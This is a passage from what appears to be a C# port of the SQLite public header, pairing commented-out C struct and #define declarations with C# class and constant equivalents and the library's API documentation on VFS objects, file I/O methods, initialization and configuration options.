    ** ** The SQLITE_IOCAP_ATOMIC property means that all writes of ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values ** mean that writes of blocks that are nnn bytes in size and ** are aligned to an address which is an integer multiple of ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means ** that when data is appended to a file, the data is appended ** first then the size of the file is extended, never the other ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that ** information is written to disk in the same order as calls ** to xWrite(). ** ** If xRead() returns SQLITE_IOERR_SHORT_READ it must also fill ** in the unread portions of the buffer with zeros. A VFS that ** fails to zero-fill short reads might seem to work. However, ** failure to zero-fill short reads will eventually lead to ** database corruption. */ //typedef struct sqlite3_io_methods sqlite3_io_methods; //struct sqlite3_io_methods { // int iVersion; // int (*xClose)(sqlite3_file*); // int (*xRead)(sqlite3_file*, void*, int iAmt, sqlite3_int64 iOfst); // int (*xWrite)(sqlite3_file*, const void*, int iAmt, sqlite3_int64 iOfst); // int (*xTruncate)(sqlite3_file*, sqlite3_int64 size); // int (*xSync)(sqlite3_file*, int flags); // int (*xFileSize)(sqlite3_file*, sqlite3_int64 *pSize); // int (*xLock)(sqlite3_file*, int); // int (*xUnlock)(sqlite3_file*, int); // int (*xCheckReservedLock)(sqlite3_file*, int *pResOut); // int (*xFileControl)(sqlite3_file*, int op, void *pArg); // int (*xSectorSize)(sqlite3_file*); // int (*xDeviceCharacteristics)(sqlite3_file*); // /* Additional methods may be added in future releases */ //}; public class sqlite3_io_methods { public int iVersion; public dxClose xClose; public dxRead xRead; public dxWrite xWrite; public dxTruncate xTruncate; public dxSync xSync; public dxFileSize xFileSize; public dxLock xLock; public dxUnlock xUnlock; public dxCheckReservedLock xCheckReservedLock; public dxFileControl xFileControl; public dxSectorSize xSectorSize; public dxDeviceCharacteristics xDeviceCharacteristics; /* Additional methods may be added in future releases */ public sqlite3_io_methods( int iVersion, dxClose xClose, dxRead xRead, dxWrite xWrite, dxTruncate xTruncate, dxSync xSync, dxFileSize xFileSize, dxLock xLock, dxUnlock xUnlock, dxCheckReservedLock xCheckReservedLock, dxFileControl xFileControl, dxSectorSize xSectorSize, dxDeviceCharacteristics xDeviceCharacteristics ) { this.iVersion = iVersion; this.xClose = xClose; this.xRead = xRead; this.xWrite = xWrite; this.xTruncate = xTruncate; this.xSync = xSync; this.xFileSize = xFileSize; this.xLock = xLock; this.xUnlock = xUnlock; this.xCheckReservedLock = xCheckReservedLock; this.xFileControl = xFileControl; this.xSectorSize = xSectorSize; this.xDeviceCharacteristics = xDeviceCharacteristics; } } /* ** CAPI3REF: Standard File Control Opcodes {H11310} ** ** These integer constants are opcodes for the xFileControl method ** of the [sqlite3_io_methods] object and for the [sqlite3_file_control()] ** interface. ** ** The [SQLITE_FCNTL_LOCKSTATE] opcode is used for debugging. This ** opcode causes the xFileControl method to write the current state of ** the lock (one of [SQLITE_LOCK_NONE], [SQLITE_LOCK_SHARED], ** [SQLITE_LOCK_RESERVED], [SQLITE_LOCK_PENDING], or [SQLITE_LOCK_EXCLUSIVE]) ** into an integer that the pArg argument points to. This capability ** is used during testing and only needs to be supported when SQLITE_TEST ** is defined. */ //#define SQLITE_FCNTL_LOCKSTATE 1 //#define SQLITE_GET_LOCKPROXYFILE 2 //#define SQLITE_SET_LOCKPROXYFILE 3 //#define SQLITE_LAST_ERRNO 4 const int SQLITE_FCNTL_LOCKSTATE = 1; const int SQLITE_GET_LOCKPROXYFILE = 2; const int SQLITE_SET_LOCKPROXYFILE = 3; const int SQLITE_LAST_ERRNO = 4; /* ** CAPI3REF: Mutex Handle {H17110} ** ** The mutex module within SQLite defines [sqlite3_mutex] to be an ** abstract type for a mutex object. The SQLite core never looks ** at the internal representation of an [sqlite3_mutex]. It only ** deals with pointers to the [sqlite3_mutex] object. ** ** Mutexes are created using [sqlite3_mutex_alloc()]. */ //typedef struct sqlite3_mutex sqlite3_mutex; /* ** CAPI3REF: OS Interface Object {H11140} ** ** An instance of the sqlite3_vfs object defines the interface between ** the SQLite core and the underlying operating system. The "vfs" ** in the name of the object stands for "virtual file system". ** ** The value of the iVersion field is initially 1 but may be larger in ** future versions of SQLite. Additional fields may be appended to this ** object when the iVersion value is increased. Note that the structure ** of the sqlite3_vfs object changes in the transaction between ** SQLite version 3.5.9 and 3.6.0 and yet the iVersion field was not ** modified. ** ** The szOsFile field is the size of the subclassed [sqlite3_file] ** structure used by this VFS. mxPathname is the maximum length of ** a pathname in this VFS. ** ** Registered sqlite3_vfs objects are kept on a linked list formed by ** the pNext pointer. The [sqlite3_vfs_register()] ** and [sqlite3_vfs_unregister()] interfaces manage this list ** in a thread-safe way. The [sqlite3_vfs_find()] interface ** searches the list. Neither the application code nor the VFS ** implementation should use the pNext pointer. ** ** The pNext field is the only field in the sqlite3_vfs ** structure that SQLite will ever modify. SQLite will only access ** or modify this field while holding a particular static mutex. ** The application should never modify anything within the sqlite3_vfs ** object once the object has been registered. ** ** The zName field holds the name of the VFS module. The name must ** be unique across all VFS modules. ** ** SQLite will guarantee that the zFilename parameter to xOpen ** is either a NULL pointer or string obtained ** from xFullPathname(). SQLite further guarantees that ** the string will be valid and unchanged until xClose() is ** called. Because of the previous sentence, ** the [sqlite3_file] can safely store a pointer to the ** filename if it needs to remember the filename for some reason. ** If the zFilename parameter is xOpen is a NULL pointer then xOpen ** must invent its own temporary name for the file. Whenever the ** xFilename parameter is NULL it will also be the case that the ** flags parameter will include [SQLITE_OPEN_DELETEONCLOSE]. ** ** The flags argument to xOpen() includes all bits set in ** the flags argument to [sqlite3_open_v2()]. Or if [sqlite3_open()] ** or [sqlite3_open16()] is used, then flags includes at least ** [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]. ** If xOpen() opens a file read-only then it sets *pOutFlags to ** include [SQLITE_OPEN_READONLY]. Other bits in *pOutFlags may be set. ** ** SQLite will also add one of the following flags to the xOpen() ** call, depending on the object being opened: ** **
      **
    • [SQLITE_OPEN_MAIN_DB] **
    • [SQLITE_OPEN_MAIN_JOURNAL] **
    • [SQLITE_OPEN_TEMP_DB] **
    • [SQLITE_OPEN_TEMP_JOURNAL] **
    • [SQLITE_OPEN_TRANSIENT_DB] **
    • [SQLITE_OPEN_SUBJOURNAL] **
    • [SQLITE_OPEN_MASTER_JOURNAL] **
    ** ** The file I/O implementation can use the object type flags to ** change the way it deals with files. For example, an application ** that does not care about crash recovery or rollback might make ** the open of a journal file a no-op. Writes to this journal would ** also be no-ops, and any attempt to read the journal would return ** SQLITE_IOERR. Or the implementation might recognize that a database ** file will be doing page-aligned sector reads and writes in a random ** order and set up its I/O subsystem accordingly. ** ** SQLite might also add one of the following flags to the xOpen method: ** **
      **
    • [SQLITE_OPEN_DELETEONCLOSE] **
    • [SQLITE_OPEN_EXCLUSIVE] **
    ** ** The [SQLITE_OPEN_DELETEONCLOSE] flag means the file should be ** deleted when it is closed. The [SQLITE_OPEN_DELETEONCLOSE] ** will be set for TEMP databases, journals and for subjournals. ** ** The [SQLITE_OPEN_EXCLUSIVE] flag is always used in conjunction ** with the [SQLITE_OPEN_CREATE] flag, which are both directly ** analogous to the O_EXCL and O_CREAT flags of the POSIX open() ** API. The SQLITE_OPEN_EXCLUSIVE flag, when paired with the ** SQLITE_OPEN_CREATE, is used to indicate that file should always ** be created, and that it is an error if it already exists. ** It is not used to indicate the file should be opened ** for exclusive access. ** ** At least szOsFile bytes of memory are allocated by SQLite ** to hold the [sqlite3_file] structure passed as the third ** argument to xOpen. The xOpen method does not have to ** allocate the structure; it should just fill it in. Note that ** the xOpen method must set the sqlite3_file.pMethods to either ** a valid [sqlite3_io_methods] object or to NULL. xOpen must do ** this even if the open fails. SQLite expects that the sqlite3_file.pMethods ** element will be valid after xOpen returns regardless of the success ** or failure of the xOpen call. ** ** The flags argument to xAccess() may be [SQLITE_ACCESS_EXISTS] ** to test for the existence of a file, or [SQLITE_ACCESS_READWRITE] to ** test whether a file is readable and writable, or [SQLITE_ACCESS_READ] ** to test whether a file is at least readable. The file can be a ** directory. ** ** SQLite will always allocate at least mxPathname+1 bytes for the ** output buffer xFullPathname. The exact size of the output buffer ** is also passed as a parameter to both methods. If the output buffer ** is not large enough, [SQLITE_CANTOPEN] should be returned. Since this is ** handled as a fatal error by SQLite, vfs implementations should endeavor ** to prevent this by setting mxPathname to a sufficiently large value. ** ** The xRandomness(), xSleep(), and xCurrentTime() interfaces ** are not strictly a part of the filesystem, but they are ** included in the VFS structure for completeness. ** The xRandomness() function attempts to return nBytes bytes ** of good-quality randomness into zOut. The return value is ** the actual number of bytes of randomness obtained. ** The xSleep() method causes the calling thread to sleep for at ** least the number of microseconds given. The xCurrentTime() ** method returns a Julian Day Number for the current date and time. ** */ //typedef struct sqlite3_vfs sqlite3_vfs; //struct sqlite3_vfs { // int iVersion; /* Structure version number */ // int szOsFile; /* Size of subclassed sqlite3_file */ // int mxPathname; /* Maximum file pathname length */ // sqlite3_vfs *pNext; /* Next registered VFS */ // const char *zName; /* Name of this virtual file system */ // void *pAppData; /* Pointer to application-specific data */ // int (*xOpen)(sqlite3_vfs*, const char *zName, sqlite3_file*, // int flags, int *pOutFlags); // int (*xDelete)(sqlite3_vfs*, const char *zName, int syncDir); // int (*xAccess)(sqlite3_vfs*, const char *zName, int flags, int *pResOut); // int (*xFullPathname)(sqlite3_vfs*, const char *zName, int nOut, char *zOut); // void *(*xDlOpen)(sqlite3_vfs*, const char *zFilename); // void (*xDlError)(sqlite3_vfs*, int nByte, char *zErrMsg); // void (*(*xDlSym)(sqlite3_vfs*,void*, const char *zSymbol))(void); // void (*xDlClose)(sqlite3_vfs*, void*); // int (*xRandomness)(sqlite3_vfs*, int nByte, char *zOut); // int (*xSleep)(sqlite3_vfs*, int microseconds); // int (*xCurrentTime)(sqlite3_vfs*, double*); // int (*xGetLastError)(sqlite3_vfs*, int, char *); /* New fields may be appended in figure versions. The iVersion ** value will increment whenever this happens. */ //}; public class sqlite3_vfs { public int iVersion; /* Structure version number */ public int szOsFile; /* Size of subclassed sqlite3_file */ public int mxPathname; /* Maximum file pathname length */ public sqlite3_vfs pNext; /* Next registered VFS */ public string zName; /* Name of this virtual file system */ public object pAppData; /* Pointer to application-specific data */ public dxOpen xOpen; public dxDelete xDelete; public dxAccess xAccess; public dxFullPathname xFullPathname; public dxDlOpen xDlOpen; public dxDlError xDlError; public dxDlSym xDlSym; public dxDlClose xDlClose; public dxRandomness xRandomness; public dxSleep xSleep; public dxCurrentTime xCurrentTime; public dxGetLastError xGetLastError; /* New fields may be appended in figure versions. The iVersion ** value will increment whenever this happens. */ public sqlite3_vfs() { } public sqlite3_vfs( int iVersion, int szOsFile, int mxPathname, sqlite3_vfs pNext, string zName, object pAppData, dxOpen xOpen, dxDelete xDelete, dxAccess xAccess, dxFullPathname xFullPathname, dxDlOpen xDlOpen, dxDlError xDlError, dxDlSym xDlSym, dxDlClose xDlClose, dxRandomness xRandomness, dxSleep xSleep, dxCurrentTime xCurrentTime, dxGetLastError xGetLastError ) { this.iVersion = iVersion; this.szOsFile = szOsFile; this.mxPathname = mxPathname; this.pNext = pNext; this.zName = zName; this.pAppData = pAppData; this.xOpen = xOpen; this.xDelete = xDelete; this.xAccess = xAccess; this.xFullPathname = xFullPathname; this.xDlOpen = xDlOpen; this.xDlError = xDlError; this.xDlSym = xDlSym; this.xDlClose = xDlClose; this.xRandomness = xRandomness; this.xSleep = xSleep; this.xCurrentTime = xCurrentTime; this.xGetLastError = xGetLastError; } } /* ** CAPI3REF: Flags for the xAccess VFS method {H11190} ** ** These integer constants can be used as the third parameter to ** the xAccess method of an [sqlite3_vfs] object. {END} They determine ** what kind of permissions the xAccess method is looking for. ** With SQLITE_ACCESS_EXISTS, the xAccess method ** simply checks whether the file exists. ** With SQLITE_ACCESS_READWRITE, the xAccess method ** checks whether the file is both readable and writable. ** With SQLITE_ACCESS_READ, the xAccess method ** checks whether the file is readable. */ //#define SQLITE_ACCESS_EXISTS 0 //#define SQLITE_ACCESS_READWRITE 1 //#define SQLITE_ACCESS_READ 2 const int SQLITE_ACCESS_EXISTS = 0; const int SQLITE_ACCESS_READWRITE = 1; const int SQLITE_ACCESS_READ = 2; /* ** CAPI3REF: Initialize The SQLite Library {H10130} ** ** The sqlite3_initialize() routine initializes the ** SQLite library. The sqlite3_shutdown() routine ** deallocates any resources that were allocated by sqlite3_initialize(). ** ** A call to sqlite3_initialize() is an "effective" call if it is ** the first time sqlite3_initialize() is invoked during the lifetime of ** the process, or if it is the first time sqlite3_initialize() is invoked ** following a call to sqlite3_shutdown(). Only an effective call ** of sqlite3_initialize() does any initialization. All other calls ** are harmless no-ops. ** ** A call to sqlite3_shutdown() is an "effective" call if it is the first ** call to sqlite3_shutdown() since the last sqlite3_initialize(). Only ** an effective call to sqlite3_shutdown() does any deinitialization. ** All other calls to sqlite3_shutdown() are harmless no-ops. ** ** Among other things, sqlite3_initialize() shall invoke ** sqlite3_os_init(). Similarly, sqlite3_shutdown() ** shall invoke sqlite3_os_end(). ** ** The sqlite3_initialize() routine returns [SQLITE_OK] on success. ** If for some reason, sqlite3_initialize() is unable to initialize ** the library (perhaps it is unable to allocate a needed resource such ** as a mutex) it returns an [error code] other than [SQLITE_OK]. ** ** The sqlite3_initialize() routine is called internally by many other ** SQLite interfaces so that an application usually does not need to ** invoke sqlite3_initialize() directly. For example, [sqlite3_open()] ** calls sqlite3_initialize() so the SQLite library will be automatically ** initialized when [sqlite3_open()] is called if it has not be initialized ** already. However, if SQLite is compiled with the [SQLITE_OMIT_AUTOINIT] ** compile-time option, then the automatic calls to sqlite3_initialize() ** are omitted and the application must call sqlite3_initialize() directly ** prior to using any other SQLite interface. For maximum portability, ** it is recommended that applications always invoke sqlite3_initialize() ** directly prior to using any other SQLite interface. Future releases ** of SQLite may require this. In other words, the behavior exhibited ** when SQLite is compiled with [SQLITE_OMIT_AUTOINIT] might become the ** default behavior in some future release of SQLite. ** ** The sqlite3_os_init() routine does operating-system specific ** initialization of the SQLite library. The sqlite3_os_end() ** routine undoes the effect of sqlite3_os_init(). Typical tasks ** performed by these routines include allocation or deallocation ** of static resources, initialization of global variables, ** setting up a default [sqlite3_vfs] module, or setting up ** a default configuration using [sqlite3_config()]. ** ** The application should never invoke either sqlite3_os_init() ** or sqlite3_os_end() directly. The application should only invoke ** sqlite3_initialize() and sqlite3_shutdown(). The sqlite3_os_init() ** interface is called automatically by sqlite3_initialize() and ** sqlite3_os_end() is called by sqlite3_shutdown(). Appropriate ** implementations for sqlite3_os_init() and sqlite3_os_end() ** are built into SQLite when it is compiled for unix, windows, or os/2. ** When built for other platforms (using the [SQLITE_OS_OTHER=1] compile-time ** option) the application must supply a suitable implementation for ** sqlite3_os_init() and sqlite3_os_end(). An application-supplied ** implementation of sqlite3_os_init() or sqlite3_os_end() ** must return [SQLITE_OK] on success and some other [error code] upon ** failure. */ //SQLITE_API int sqlite3_initialize(void); //SQLITE_API int sqlite3_shutdown(void); //SQLITE_API int sqlite3_os_init(void); //SQLITE_API int sqlite3_os_end(void); /* ** CAPI3REF: Configuring The SQLite Library {H14100} ** EXPERIMENTAL ** ** The sqlite3_config() interface is used to make global configuration ** changes to SQLite in order to tune SQLite to the specific needs of ** the application. The default configuration is recommended for most ** applications and so this routine is usually not necessary. It is ** provided to support rare applications with unusual needs. ** ** The sqlite3_config() interface is not threadsafe. The application ** must insure that no other SQLite interfaces are invoked by other ** threads while sqlite3_config() is running. Furthermore, sqlite3_config() ** may only be invoked prior to library initialization using ** [sqlite3_initialize()] or after shutdown by [sqlite3_shutdown()]. ** Note, however, that sqlite3_config() can be called as part of the ** implementation of an application-defined [sqlite3_os_init()]. ** ** The first argument to sqlite3_config() is an integer ** [SQLITE_CONFIG_SINGLETHREAD | configuration option] that determines ** what property of SQLite is to be configured. Subsequent arguments ** vary depending on the [SQLITE_CONFIG_SINGLETHREAD | configuration option] ** in the first argument. ** ** When a configuration option is set, sqlite3_config() returns [SQLITE_OK]. ** If the option is unknown or SQLite is unable to set the option ** then this routine returns a non-zero [error code]. ** ** Requirements: ** [H14103] [H14106] [H14120] [H14123] [H14126] [H14129] [H14132] [H14135] ** [H14138] [H14141] [H14144] [H14147] [H14150] [H14153] [H14156] [H14159] ** [H14162] [H14165] [H14168] */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_config(int, ...); /* ** CAPI3REF: Configure database connections {H14200} ** EXPERIMENTAL ** ** The sqlite3_db_config() interface is used to make configuration ** changes to a [database connection]. The interface is similar to ** [sqlite3_config()] except that the changes apply to a single ** [database connection] (specified in the first argument). The ** sqlite3_db_config() interface can only be used immediately after ** the database connection is created using [sqlite3_open()], ** [sqlite3_open16()], or [sqlite3_open_v2()]. ** ** The second argument to sqlite3_db_config(D,V,...) is the ** configuration verb - an integer code that indicates what ** aspect of the [database connection] is being configured. ** The only choice for this value is [SQLITE_DBCONFIG_LOOKASIDE]. ** New verbs are likely to be added in future releases of SQLite. ** Additional arguments depend on the verb. ** ** Requirements: ** [H14203] [H14206] [H14209] [H14212] [H14215] */ //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_config(sqlite3*, int op, ...); /* ** CAPI3REF: Memory Allocation Routines {H10155} ** EXPERIMENTAL ** ** An instance of this object defines the interface between SQLite ** and low-level memory allocation routines. ** ** This object is used in only one place in the SQLite interface. ** A pointer to an instance of this object is the argument to ** [sqlite3_config()] when the configuration option is ** [SQLITE_CONFIG_MALLOC]. By creating an instance of this object ** and passing it to [sqlite3_config()] during configuration, an ** application can specify an alternative memory allocation subsystem ** for SQLite to use for all of its dynamic memory needs. ** ** Note that SQLite comes with a built-in memory allocator that is ** perfectly adequate for the overwhelming majority of applications ** and that this object is only useful to a tiny minority of applications ** with specialized memory allocation requirements. This object is ** also used during testing of SQLite in order to specify an alternative ** memory allocator that simulates memory out-of-memory conditions in ** order to verify that SQLite recovers gracefully from such ** conditions. ** ** The xMalloc, xFree, and xRealloc methods must work like the ** malloc(), free(), and realloc() functions from the standard library. ** ** xSize should return the allocated size of a memory allocation ** previously obtained from xMalloc or xRealloc. The allocated size ** is always at least as big as the requested size but may be larger. ** ** The xRoundup method returns what would be the allocated size of ** a memory allocation given a particular requested size. Most memory ** allocators round up memory allocations at least to the next multiple ** of 8. Some allocators round up to a larger multiple or to a power of 2. ** ** The xInit method initializes the memory allocator. (For example, ** it might allocate any require mutexes or initialize internal data ** structures. The xShutdown method is invoked (indirectly) by ** [sqlite3_shutdown()] and should deallocate any resources acquired ** by xInit. The pAppData pointer is used as the only parameter to ** xInit and xShutdown. */ //typedef struct sqlite3_mem_methods sqlite3_mem_methods; //struct sqlite3_mem_methods { // void *(*xMalloc)(int); /* Memory allocation function */ // void (*xFree)(void*); /* Free a prior allocation */ // void *(*xRealloc)(void*,int); /* Resize an allocation */ // int (*xSize)(void*); /* Return the size of an allocation */ // int (*xRoundup)(int); /* Round up request size to allocation size */ // int (*xInit)(void*); /* Initialize the memory allocator */ // void (*xShutdown)(void*); /* Deinitialize the memory allocator */ // void *pAppData; /* Argument to xInit() and xShutdown() */ //}; public struct sqlite3_mem_methods { public dxMalloc xMalloc; //void *(*xMalloc)(int); /* Memory allocation function */ public dxFree xFree; //void (*xFree)(void*); /* Free a prior allocation */ public dxRealloc xRealloc; //void *(*xRealloc)(void*,int); /* Resize an allocation */ public dxSize xSize; //int (*xSize)(void*); /* Return the size of an allocation */ public dxRoundup xRoundup; //int (*xRoundup)(int); /* Round up request size to allocation size */ public dxMemInit xInit; //int (*xInit)(void*); /* Initialize the memory allocator */ public dxMemShutdown xShutdown; //void (*xShutdown)(void*); /* Deinitialize the memory allocator */ public object pAppData; /* Argument to xInit() and xShutdown() */ public sqlite3_mem_methods( dxMalloc xMalloc, dxFree xFree, dxRealloc xRealloc, dxSize xSize, dxRoundup xRoundup, dxMemInit xInit, dxMemShutdown xShutdown, object pAppData ) { this.xMalloc = xMalloc; this.xFree = xFree; this.xRealloc = xRealloc; this.xSize = xSize; this.xRoundup = xRoundup; this.xInit = xInit; this.xShutdown = xShutdown; this.pAppData = pAppData; } } /* ** CAPI3REF: Configuration Options {H10160} ** EXPERIMENTAL ** ** These constants are the available integer configuration options that ** can be passed as the first argument to the [sqlite3_config()] interface. ** ** New configuration options may be added in future releases of SQLite. ** Existing configuration options might be discontinued. Applications ** should check the return code from [sqlite3_config()] to make sure that ** the call worked. The [sqlite3_config()] interface will return a ** non-zero [error code] if a discontinued or unsupported configuration option ** is invoked. ** **
    **
    SQLITE_CONFIG_SINGLETHREAD
    **
    There are no arguments to this option. This option disables ** all mutexing and puts SQLite into a mode where it can only be used ** by a single thread.
    ** **
    SQLITE_CONFIG_MULTITHREAD
    **
    There are no arguments to this option. This option disables ** mutexing on [database connection] and [prepared statement] objects. ** The application is responsible for serializing access to ** [database connections] and [prepared statements]. But other mutexes ** are enabled so that SQLite will be safe to use in a multi-threaded ** environment as long as no two threads attempt to use the same ** [database connection] at the same time. See the [threading mode] ** documentation for additional information.
    ** **
    SQLITE_CONFIG_SERIALIZED
    **
    There are no arguments to this option. This option enables ** all mutexes including the recursive ** mutexes on [database connection] and [prepared statement] objects. ** In this mode (which is the default when SQLite is compiled with ** [SQLITE_THREADSAFE=1]) the SQLite library will itself serialize access ** to [database connections] and [prepared statements] so that the ** application is free to use the same [database connection] or the ** same [prepared statement] in different threads at the same time. ** See the [threading mode] documentation for additional information.
    ** **
    SQLITE_CONFIG_MALLOC
    **
    This option takes a single argument which is a pointer to an ** instance of the [sqlite3_mem_methods] structure. The argument specifies ** alternative low-level memory allocation routines to be used in place of ** the memory allocation routines built into SQLite.
    ** **
    SQLITE_CONFIG_GETMALLOC
    **
    This option takes a single argument which is a pointer to an ** instance of the [sqlite3_mem_methods] structure. The [sqlite3_mem_methods] ** structure is filled with the currently defined memory allocation routines. ** This option can be used to overload the default memory allocation ** routines with a wrapper that simulations memory allocation failure or ** tracks memory usage, for example.
    ** **
    SQLITE_CONFIG_MEMSTATUS
    **
    This option takes single argument of type int, interpreted as a ** boolean, which enables or disables the collection of memory allocation ** statistics. When disabled, the following SQLite interfaces become ** non-operational: **
      **
    • [sqlite3_memory_used()] **
    • [sqlite3_memory_highwater()] **
    • [sqlite3_soft_heap_limit()] **
    • [sqlite3_status()] **
    **
    ** **
    SQLITE_CONFIG_SCRATCH
    **
    This option specifies a static memory buffer that SQLite can use for ** scratch memory. There are three arguments: A pointer an 8-byte ** aligned memory buffer from which the scrach allocations will be ** drawn, the size of each scratch allocation (sz), ** and the maximum number of scratch allocations (N). The sz ** argument must be a multiple of 16. The sz parameter should be a few bytes ** larger than the actual scratch space required due to internal overhead. ** The first argument should pointer to an 8-byte aligned buffer ** of at least sz*N bytes of memory. ** SQLite will use no more than one scratch buffer at once per thread, so ** N should be set to the expected maximum number of threads. The sz ** parameter should be 6 times the size of the largest database page size. ** Scratch buffers are used as part of the btree balance operation. If ** The btree balancer needs additional memory beyond what is provided by ** scratch buffers or if no scratch buffer space is specified, then SQLite ** goes to [sqlite3_malloc()] to obtain the memory it needs.
    ** **
    SQLITE_CONFIG_PAGECACHE
    **
    This option specifies a static memory buffer that SQLite can use for ** the database page cache with the default page cache implemenation. ** This configuration should not be used if an application-define page ** cache implementation is loaded using the SQLITE_CONFIG_PCACHE option. ** There are three arguments to this option: A pointer to 8-byte aligned ** memory, the size of each page buffer (sz), and the number of pages (N). ** The sz argument should be the size of the largest database page ** (a power of two between 512 and 32768) plus a little extra for each ** page header. The page header size is 20 to 40 bytes depending on ** the host architecture. It is harmless, apart from the wasted memory, ** to make sz a little too large. The first ** argument should point to an allocation of at least sz*N bytes of memory. ** SQLite will use the memory provided by the first argument to satisfy its ** memory needs for the first N pages that it adds to cache. If additional ** page cache memory is needed beyond what is provided by this option, then ** SQLite goes to [sqlite3_malloc()] for the additional storage space. ** The implementation might use one or more of the N buffers to hold ** memory accounting information. The pointer in the first argument must ** be aligned to an 8-byte boundary or subsequent behavior of SQLite ** will be undefined.
    ** **
    SQLITE_CONFIG_HEAP
    **
    This option specifies a static memory buffer that SQLite will use ** for all of its dynamic memory allocation needs beyond those provided ** for by [SQLITE_CONFIG_SCRATCH] and [SQLITE_CONFIG_PAGECACHE]. ** There are three arguments: An 8-byte aligned pointer to the memory, ** the number of bytes in the memory buffer, and the minimum allocation size. ** If the first pointer (the memory pointer) is NULL, then SQLite reverts ** to using its default memory allocator (the system malloc() implementation), ** undoing any prior invocation of [SQLITE_CONFIG_MALLOC]. If the ** memory pointer is not NULL and either [SQLITE_ENABLE_MEMSYS3] or ** [SQLITE_ENABLE_MEMSYS5] are defined, then the alternative memory ** allocator is engaged to handle all of SQLites memory allocation needs. ** The first pointer (the memory pointer) must be aligned to an 8-byte ** boundary or subsequent behavior of SQLite will be undefined.
    ** **
    SQLITE_CONFIG_MUTEX
    **
    This option takes a single argument which is a pointer to an ** instance of the [sqlite3_mutex_methods] structure. The argument specifies ** alternative low-level mutex routines to be used in place ** the mutex routines built into SQLite.
    ** **
    SQLITE_CONFIG_GETMUTEX
    **
    This option takes a single argument which is a pointer to an ** instance of the [sqlite3_mutex_methods] structure. The ** [sqlite3_mutex_methods] ** structure is filled with the currently defined mutex routines. ** This option can be used to overload the default mutex allocation ** routines with a wrapper used to track mutex usage for performance ** profiling or testing, for example.
    ** **
    SQLITE_CONFIG_LOOKASIDE
    **
    This option takes two arguments that determine the default ** memory allcation lookaside optimization. The first argument is the ** size of each lookaside buffer slot and the second is the number of ** slots allocated to each database connection.
    ** **
    SQLITE_CONFIG_PCACHE
    **
    This option takes a single argument which is a pointer to ** an [sqlite3_pcache_methods] object. This object specifies the interface ** to a custom page cache implementation. SQLite makes a copy of the ** object and uses it for page cache memory allocations.
    ** **
    SQLITE_CONFIG_GETPCACHE
    **
    This option takes a single argument which is a pointer to an ** [sqlite3_pcache_methods] object. SQLite copies of the current ** page cache implementation into that object.
    ** **
    */ //#define SQLITE_CONFIG_SINGLETHREAD 1 /* nil */ //#define SQLITE_CONFIG_MULTITHREAD 2 /* nil */ //#define SQLITE_CONFIG_SERIALIZED 3 /* nil */ //#define SQLITE_CONFIG_MALLOC 4 /* sqlite3_mem_methods* */ //#define SQLITE_CONFIG_GETMALLOC 5 /* sqlite3_mem_methods* */ //#define SQLITE_CONFIG_SCRATCH 6 /* void*, int sz, int N */ //#define SQLITE_CONFIG_PAGECACHE 7 /* void*, int sz, int N */ //#define SQLITE_CONFIG_HEAP 8 /* void*, int nByte, int min */ //#define SQLITE_CONFIG_MEMSTATUS 9 /* boolean */ //#define SQLITE_CONFIG_MUTEX 10 /* sqlite3_mutex_methods* */ //#define SQLITE_CONFIG_GETMUTEX 11 /* sqlite3_mutex_methods* */ ///* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */ //#define SQLITE_CONFIG_LOOKASIDE 13 /* int int */ //#define SQLITE_CONFIG_PCACHE 14 /* sqlite3_pcache_methods* */ //#define SQLITE_CONFIG_GETPCACHE 15 /* sqlite3_pcache_methods* */ const int SQLITE_CONFIG_SINGLETHREAD = 1; /* nil */ const int SQLITE_CONFIG_MULTITHREAD = 2; /* nil */ const int SQLITE_CONFIG_SERIALIZED = 3; /* nil */ const int SQLITE_CONFIG_MALLOC = 4; /* sqlite3_mem_methods* */ const int SQLITE_CONFIG_GETMALLOC = 5; /* sqlite3_mem_methods* */ const int SQLITE_CONFIG_SCRATCH = 6; /* void*, int sz, int N */ const int SQLITE_CONFIG_PAGECACHE = 7; /* void*, int sz, int N */ const int SQLITE_CONFIG_HEAP = 8; /* void*, int nByte, int min */ const int SQLITE_CONFIG_MEMSTATUS = 9; /* boolean */ const int SQLITE_CONFIG_MUTEX = 10; /* sqlite3_mutex_methods* */ const int SQLITE_CONFIG_GETMUTEX = 11; /* sqlite3_mutex_methods* */ const int SQLITE_CONFIG_LOOKASIDE = 13; /* int int */ const int SQLITE_CONFIG_PCACHE = 14; /* sqlite3_pcache_methods* */ const int SQLITE_CONFIG_GETPCACHE = 15; /* sqlite3_pcache_methods* */ /* ** CAPI3REF: Configuration Options {H10170} ** EXPERIMENTAL ** ** These constants are the available integer configuration options that ** can be passed as the second argument to the [sqlite3_db_config()] interface. ** ** New configuration options may be added in future releases of SQLite. ** Existing configuration options might be discontinued. Applications ** should check the return code from [sqlite3_db_config()] to make sure that ** the call worked. The [sqlite3_db_config()] interface will return a ** non-zero [error code] if a discontinued or unsupported configuration option ** is invoked. ** **
    **
    SQLITE_DBCONFIG_LOOKASIDE
    **
    This option takes three additional arguments that determine the ** [lookaside memory allocator] configuration for the [database connection]. ** The first argument (the third parameter to [sqlite3_db_config()] is a ** pointer to an 8-byte aligned memory buffer to use for lookaside memory. ** The first argument may be NULL in which case SQLite will allocate the ** lookaside buffer itself using [sqlite3_malloc()]. The second argument is the ** size of each lookaside buffer slot and the third argument is the number of ** slots. The size of the buffer in the first argument must be greater than ** or equal to the product of the second and third arguments.
    ** **
